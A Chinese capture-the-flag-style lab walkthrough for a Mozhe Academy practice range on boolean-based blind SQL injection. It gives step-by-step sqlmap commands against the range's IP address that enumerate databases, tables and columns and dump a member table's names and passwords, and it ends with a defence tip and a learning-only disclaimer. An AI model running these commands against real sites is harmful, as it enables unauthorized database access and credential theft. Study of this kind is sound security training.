墨者:SQL注入漏洞测试(布尔盲注)
墨者学院:SQL注入漏洞测试(布尔盲注)🚀
1. 什么是布尔盲注?🔍
布尔盲注(Boolean-based Blind SQL Injection)是SQL注入的一种形式,攻击者通过构造逻辑判断条件(如AND 1=1
、OR 1=2
),根据页面返回结果的差异(如内容变化、HTTP状态码)推断数据库信息。
作用:
- 在无显式错误回显时,通过布尔逻辑间接获取数据。
- 适用于目标仅返回“真/假”两种状态的场景(例如登录验证)。
2. 工具:SQLMap🔧
SQLMap是一款自动化SQL注入工具,支持检测和利用多种注入类型(包括布尔盲注)。
核心功能:
- 自动识别注入点
- 爆破数据库名、表名、字段名
- 导出数据(如用户名密码)
3. 实验步骤(切换为自己的墨者靶场地址)🎯
步骤1:获取数据库名
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" --dbs --batch
参数说明:
参数 | 作用 |
---|---|
-u | 指定目标URL |
--dbs | 列出所有数据库名 |
--batch | 自动选择默认选项(非交互模式) |
步骤2:列出表名
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup --tables --batch
参数说明:
参数 | 作用 |
---|---|
-D | 指定目标数据库 |
--tables | 列出该数据库的所有表 |
步骤3:获取字段名
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member --columns --batch
参数说明:
参数 | 作用 |
---|---|
-T | 指定目标表 |
--columns | 列出该表的所有字段 |
步骤4:导出数据
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member -C name,password,status --dump --batch
参数说明:
参数 | 作用 |
---|---|
-C | 指定要导出的字段 |
--dump | 导出数据到本地文件 |
步骤5:清除缓存
假如重新启动了靶场,端口会发生改变,往往需要清理缓存,不然password
可能不会发生变化
python sqlmap.py --purge
参数说明:
参数 | 作用 |
---|---|
--purge | 删除所有扫描缓存文件 |
4. 参数汇总表⭐
参数 | 缩写 | 作用 |
---|---|---|
--url | -u | 指定目标URL |
--dbs | - | 列出所有数据库 |
--tables | - | 列出指定数据库的表 |
--columns | - | 列出指定表的字段 |
--dump | - | 导出数据 |
--batch | - | 自动模式(无需手动确认) |
--purge | - | 清除缓存 |
5. 总结🏁
- 布尔盲注通过逻辑判断间接获取数据,适合无错误回显的场景。
- SQLMap可自动化完成从注入检测到数据导出的全流程。
- 关键参数:
-u
:指定目标-D
/-T
/-C
:逐层定位数据--dump
:最终导出数据
防御建议:使用参数化查询+输入过滤,避免拼接SQL语句!
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗